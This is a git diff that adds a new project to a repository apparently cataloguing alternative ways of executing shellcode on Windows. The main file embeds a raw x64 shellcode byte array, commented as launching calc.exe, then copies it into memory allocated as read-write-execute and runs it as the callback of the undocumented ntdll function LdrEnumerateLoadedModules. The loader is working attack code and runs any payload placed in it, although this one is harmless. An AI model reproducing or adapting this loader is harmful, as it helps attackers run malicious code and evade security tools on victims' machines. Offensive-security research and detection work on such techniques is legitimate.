diff --git a/AlternativeShellcodeExec.sln b/AlternativeShellcodeExec.sln index 142bd97..755c23c 100644 --- a/AlternativeShellcodeExec.sln +++ b/AlternativeShellcodeExec.sln @@ -55,6 +55,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FlsAlloc", "FlsAlloc\FlsAll EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumPropsW", "EnumPropsW\EnumPropsW.vcxproj", "{2253DC4A-3941-4809-A20D-416CA71F799A}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LdrEnumerateLoadedModules", "LdrEnumerateLoadedModules\LdrEnumerateLoadedModules.vcxproj", "{C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -271,6 +273,14 @@ Global {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x64.Build.0 = Release|x64 {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x86.ActiveCfg = Release|Win32 {2253DC4A-3941-4809-A20D-416CA71F799A}.Release|x86.Build.0 = Release|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x64.ActiveCfg = Debug|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x64.Build.0 = Debug|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x86.ActiveCfg = Debug|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Debug|x86.Build.0 = Debug|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x64.ActiveCfg = Release|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x64.Build.0 = Release|x64 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x86.ActiveCfg = Release|Win32 + {C88F3C63-7AE2-49F3-A96F-AC11E44DAD3F}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.cpp b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.cpp new file mode 100644 index 0000000..bacf580 --- /dev/null +++ b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.cpp @@ -0,0 +1,98 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +// including ntdef.h was breaking the program so I just simply got the typedef from: +// https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + +// https://doxygen.reactos.org/d1/d97/ldrtypes_8h_source.html + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef VOID(NTAPI LDR_ENUM_CALLBACK)(_In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, _In_ PVOID Parameter, _Out_ BOOLEAN* Stop); +typedef LDR_ENUM_CALLBACK* PLDR_ENUM_CALLBACK; + +// https://doxygen.reactos.org/d7/d55/ldrapi_8c.html#ac623c02eff0b751a63f8573eaca95153 + +typedef NTSTATUS(__stdcall* _LdrEnumerateLoadedModules)( + BOOL ReservedFlag, + LDR_ENUM_CALLBACK EnumProc, + PVOID context + ); + + +int main() { + + HANDLE hProcess = ::GetCurrentProcess(); + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + HMODULE hNtdll = ::GetModuleHandleW(L"ntdll"); + + if (hNtdll) { + + _LdrEnumerateLoadedModules LdrEnumerateLoadedModules = (_LdrEnumerateLoadedModules)::GetProcAddress(hNtdll, "LdrEnumerateLoadedModules"); + LdrEnumerateLoadedModules(NULL, (PLDR_ENUM_CALLBACK)address, NULL); + + } + +} \ No newline at end of file diff --git a/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj new file mode 100644 index 0000000..c5f18b7 --- /dev/null +++ b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {c88f3c63-7ae2-49f3-a96f-ac11e44dad3f} + LdrEnumerateLoadedModules + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj.filters b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj.filters new file mode 100644 index 0000000..d7e5dd0 --- /dev/null +++ b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file